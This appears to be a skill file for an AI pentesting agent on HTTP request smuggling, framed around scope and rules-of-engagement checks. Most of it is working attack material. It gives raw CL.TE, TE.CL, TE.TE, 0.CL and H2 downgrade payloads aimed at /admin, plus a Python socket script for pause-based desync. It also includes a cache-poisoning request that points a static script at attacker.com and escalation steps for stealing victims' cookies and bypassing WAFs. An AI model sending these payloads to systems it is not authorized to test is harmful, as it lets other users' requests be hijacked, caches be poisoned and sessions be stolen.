request-smuggling-pentest

name	request-smuggling-pentest
description	Guides HTTP request smuggling testing with CL.TE, TE.CL, TE.TE, and H2 downgrade detection and exploitation. Use when front/back-end proxy chains or HTTP/2 downgrade scenarios are suspected in the target architecture.

HTTP Request Smuggling Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Load web-app-pentest for overall web testing context.
• Confirm ROE permits desync testing; smuggling can affect other users.

Triggers

• Reverse proxy or CDN in front of application server (nginx, HAProxy, Cloudflare)
• Mixed Content-Length and Transfer-Encoding handling
• HTTP/2 front-end with HTTP/1.1 back-end downgrade
• Inconsistent timeout or error behavior on malformed requests
• CL.TE or TE.CL desync indicators in research or prior findings

Workflow

Task Progress:
- [ ] Identify front/back-end chain from headers and infrastructure
- [ ] Send CL.TE and TE.CL probe requests; observe desync timing/responses
- [ ] If vulnerable, test TE.TE obfuscation and HTTP/2 downgrade variants
- [ ] Escalate to cache poisoning, request hijacking (only with authorization)
- [ ] Document with request/response evidence

Detection

Architecture identification

CLI (primary for web vulns):

curl -I "https://<target>/"
python3 smuggler.py -u https://<target>/
# Burp HTTP Request Smuggler extension

Check headers: Via, X-Cache, Server, X-CDN, CF-RAY.

MSF MCP: No direct module. Use msf_search_modules(query="request smuggling") or msf_search_modules(query="http desync").

CL.TE probe

CLI (primary):

POST / HTTP/1.1
Host: <target>
Content-Length: 6
Transfer-Encoding: chunked

0

G

Send twice in quick succession via Burp Repeater (disable auto Content-Length update). Delayed second response indicates CL.TE desync.

MSF MCP: No direct module.

TE.CL probe

CLI (primary):

POST / HTTP/1.1
Host: <target>
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Length: 15

x=1
0

MSF MCP: No direct module.

Exploitation by variant

CL.TE smuggling

CLI (primary):

POST / HTTP/1.1
Host: <target>
Content-Length: 130
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
Host: <target>
Content-Length: 10

x=1

Use Burp Smuggler or turbo-intruder for timing confirmation.

MSF MCP: No direct module.

TE.CL smuggling

CLI (primary):

POST / HTTP/1.1
Host: <target>
Content-Length: 6
Transfer-Encoding: chunked

0

X

MSF MCP: No direct module.

TE.TE obfuscation

CLI (primary):

Transfer-Encoding: chunked
Transfer-Encoding: xchunked

Transfer-Encoding: chunked
Transfer-Encoding : chunked

Transfer-Encoding:[tab]chunked

Transfer-Encoding: chunked
Transfer-Encoding: identity

MSF MCP: No direct module.

0.CL and 0.TE variants

CLI (primary):

# 0.CL: zero Content-Length with body
POST / HTTP/1.1
Host: <target>
Content-Length: 0

GET /admin HTTP/1.1
Host: <target>


# 0.TE: zero-length chunk with smuggled prefix
POST / HTTP/1.1
Host: <target>
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: <target>

0

Some proxies treat Content-Length: 0 differently from missing CL.

MSF MCP: No direct module.

Pause-based desync

CLI (primary):

# Send partial request, pause, then complete (Burp turbo-intruder or custom socket)
python3 -c "
import socket, ssl, time
s = ssl.wrap_socket(socket.socket())
s.connect(('<target>', 443))
s.send(b'POST / HTTP/1.1\r\nHost: <target>\r\nContent-Length: 50\r\n\r\n')
time.sleep(10)  # pause mid-request
s.send(b'GET /admin HTTP/1.1\r\nHost: <target>\r\n\r\n')
print(s.recv(4096))
"

Front-end times out or forwards partial body; back-end interprets remainder as new request.

MSF MCP: No direct module.

HTTP/2 tunneling (H2.CL / H2.TE)

CLI (primary):

# H2.CL concrete bytes via Burp HTTP/2 or h2csmuggler
# Downgrade H2 request with injected CL in :method/:path pseudo-headers
python3 h2csmuggler.py -x https://<target> -X POST -path /

H2.CL: manipulated Content-Length in downgraded H2-to-H1 request. H2.TE: embedded Transfer-Encoding: chunked in H2 body pseudo-headers.

Concrete H2 smuggle request (Burp HTTP/2 tab):

:method POST
:path /
:authority <target>
content-length 4

GET /admin HTTP/1.1
Host: <target>

MSF MCP: No direct module.

Exploitation paths

Cache poisoning

CLI (primary):

POST / HTTP/1.1
Host: <target>
Content-Length: ...
Transfer-Encoding: chunked

0

GET /static/app.js HTTP/1.1
Host: <target>
X-Forwarded-Host: attacker.com

MSF MCP: No direct module.

Bypass access controls

CLI (primary): Smuggle request to internal/admin endpoint that front-end WAF would block.

MSF MCP: No direct module.

Credential theft

CLI (primary): Smuggle prefix to capture victim Cookie header from subsequent request on shared keep-alive connection.

MSF MCP: No direct module.

WAF bypass

CLI (primary):

python3 smuggler.py -u https://<target>/ -m cl-te,te-cl,te-te

Disable Burp Repeater "Update Content-Length". Use HTTP/1.1 for smuggling even when site supports H2.

MSF MCP: No direct module.

Impact escalation

Stage	CLI technique
Detect	Smuggler, Burp HTTP Request Smuggler
Hijack	Smuggle prefix on keep-alive
Cache poison	Smuggle cacheable response
Access bypass	Smuggle admin/internal request

MSF MCP post-access: Use msf_search_modules(query="<product>") after smuggled admin access.

Tool reference

python3 smuggler.py -u https://<target>/
python3 h2csmuggler.py -x https://<target> -X POST
# Burp: HTTP Request Smuggler, turbo-intruder

Send raw HTTP with exact header ordering and spacing.

Related skills

• web-app-pentest - overall web testing flow
• ssrf-pentest - some smuggling chains reach internal backends